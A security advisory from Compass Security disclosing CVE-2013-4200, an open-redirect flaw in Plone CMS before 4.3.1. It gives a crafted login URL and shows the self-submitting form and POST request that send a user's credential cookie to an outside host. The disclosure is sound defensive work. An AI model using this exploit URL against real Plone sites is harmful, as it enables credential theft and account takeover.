############################################################# # # COMPASS SECURITY ADVISORY # http://www.csnc.ch/en/downloads/advisories.html # ############################################################# # # Product: Plone CMS # Vendor: Plone Foundation (http://plone.org) # ID(s): CSNC-2013-013, CVE-2013-4200 # Subject: URL Redirection Vulnerability # Risk: High # Effect: Remotely exploitable # Author: Cyrill Bannwart <cyrill.bannwart (at) csnc (dot) ch [email concealed]> # Date: 20/05/2013 # ############################################################# Introduction: ------------- The discovered vulnerability targets the open source Plone CMS. The credentials of a valid user can be obtained by using a specially crafted URL which can be sent to the user by email. When clicking on the URL, the user is presented with the website's login form and after a successful login the user as well as his credentials are forwarded to an external server. This vulnerability can be used by an attacker to obtain access to a user's account. Affected: --------- Vulnerable: * Plone < 4.3.1 Technical Description: ---------------------- An attacker can craft a URL for the login form where his victim has valid credentials. The created URL contains a redirection URL to which the user as well as his credentials are forwarded after a successful login. This URL can be sent to the victim by mail. By inserting a space before the redirection URL the isURLInPortal() method of the URLTool class assumes the URL to be relative, not filtering it against the allow_external_login_sites property. Example of crafted URL: https://example.com/acl_users/credentials_cookie_auth/require_login?next =+https%3A//www.csnc.ch Once the victim clicks on the URL and logs in, a self-submitting POST form is loaded that sends the user and his credentials to the external server. Example excerpt of HTTP Response: HTTP/1.1 200 OK Set-Cookie: __ac="<CREDENTIALS>"; Path=/; HTTPOnly [CUT] <form method="post" id="external_login_form" name="external_login_form" action=" https://www.csnc.ch"> <input type="hidden" name="__ac" value="<CREDENTIALS>" /> </form> <script type="text/javascript"> /*jslint browser: true */ var external_login_form = document.forms.external_login_form; external_login_form.style.display = 'none'; external_login_form.submit(); </script> And resulting HTTP POST Request: POST / HTTP/1.1 Host: www.csnc.ch Referer: https://www.example.com/login_form [CUT] __ac=<CREDENTIALS> The obtained credentials / cookie content can be used by the attacker to login to the website and gain access to the victim's account. The login form allows further URL parameters such as the password reset link or the sign up URL that can also be tricked into accepting non-relative URLs. Workaround / Fix / Patch: ------------------------- Patch has been released by vendor Timeline: --------- 2013-05-08: Vulnerability discovered 2013-05-20: Vendor notified 2013-05-21: Vendor acknowledged 2013-06-18: Patch released 2013-07-02: Patch updated 2014-01-16: Disclosure References: ----------- https://plone.org/products/plone/security/advisories/20130618-announcement https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2013-4200